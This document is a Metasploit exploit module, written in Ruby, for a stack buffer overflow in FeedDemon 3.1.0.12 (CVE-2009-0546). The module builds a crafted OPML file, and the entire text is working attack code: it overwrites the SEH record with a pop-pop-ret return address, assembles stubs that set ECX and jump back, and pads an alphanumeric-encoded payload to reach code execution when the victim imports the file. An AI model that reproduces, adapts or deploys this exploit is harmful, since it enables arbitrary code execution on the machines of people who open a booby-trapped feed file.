feedDemon 3.1.0.12 – Local Stack Buffer Overflow (Metasploit)
## # $Id: feeddemon_opml.rb 10998 2010-11-11 22:43:22Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::FILEFORMAT include Msf::Exploit::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'FeedDemon <= 3.1.0.12 Stack Buffer Overflow', 'Description' => %q{ This module exploits a buffer overflow in FeedDemon v3.1.0.12. When the application is used to import a specially crafted opml file, a buffer overflow occurs allowing arbitrary code execution. All versions are suspected to be vulnerable. This vulnerability was originally reported against version 2.7 in February of 2009. }, 'License' => MSF_LICENSE, 'Author' => [ 'fl0 fl0w', # Original Exploit 'dookie', # MSF Module 'jduck' # SEH + AlphanumMixed fixes ], 'Version' => '$Revision: 10998 $', 'References' => [ [ 'CVE', '2009-0546' ], [ 'OSVDB', '51753' ], [ 'BID', '33630' ], [ 'URL', 'http://www.exploit-db.com/exploits/7995' ], [ 'URL', 'http://www.exploit-db.com/exploits/8010' ], [ 'URL', 'http://www.exploit-db.com/exploits/11379' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => 'true', }, 'Payload' => { 'Space' => 1024, 'BadChars' => "\x0a\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xff", 'DisableNops' => true, # We are not strictly limited to alphanumeric. However, currently # no encoder can handle our bad character set. 'EncoderType' => Msf::Encoder::Type::AlphanumMixed, 'EncoderOptions' => { 'BufferRegister' => 'ECX', }, }, 'Platform' => 'win', 'Targets' => [ # Tested OK on XPSP3 - jduck [ 'Windows Universal', { 'Ret' => 0x00501655 # p/p/r in FeedDemon.exe v3.1.0.12 } ], ], 'Privileged' => false, 'DisclosureDate' => 'Feb 09 2009', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.opml']), ], self.class) end def exploit head_opml = '<opml version="1.1">' head_opml << '<body>' head_opml << '<outline text="' header = "\xff\xfe" # Unicode BOM header << Rex::Text.to_unicode(head_opml) foot_opml = '">' foot_opml << '<outline text="BKIS" title="SVRT" type="rss" xmlUrl="http://milw0rm.com/rss.php"/>' foot_opml << '</outline>' foot_opml << '</body>' foot_opml << '</opml>' footer = Rex::Text.to_unicode(foot_opml) # Set ECX to point to the alphamixed encoded buffer (IIIII...) # We use, while avoiding bad chars, an offset from SEH ptr stored on the stack at esp+8 off = 0x1ff2 set_ecx_asm = %Q| mov ecx, [esp+8] sub ecx, #{0x01010101 + off} add ecx, 0x01010101 | set_ecx = Metasm::Shellcode.assemble(Metasm::Ia32.new, set_ecx_asm).encode_string # Jump back to the payload, after p/p/r jumps to us. # NOTE: Putting the jmp_back after the SEH handler seems to avoid problems with badchars.. # 8 for SEH.Next+SEH.Func, 5 for the jmp_back itself distance = 0x1ffd + 8 + 5 jmp_back = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string # SEH seh_frame = generate_seh_record(target.ret) # Assemble everything together sploit = '' sploit << set_ecx sploit << payload.encoded sploit << rand_text_alphanumeric(8194 - sploit.length) sploit << seh_frame sploit << jmp_back sploit << rand_text_alphanumeric(8318 - sploit.length) # Ensure access violation reading from smashed pointer num = rand_text(4).unpack('V')[0] sploit << [num | 0x80000000].pack('V') evil = header + sploit + footer print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(evil) end end |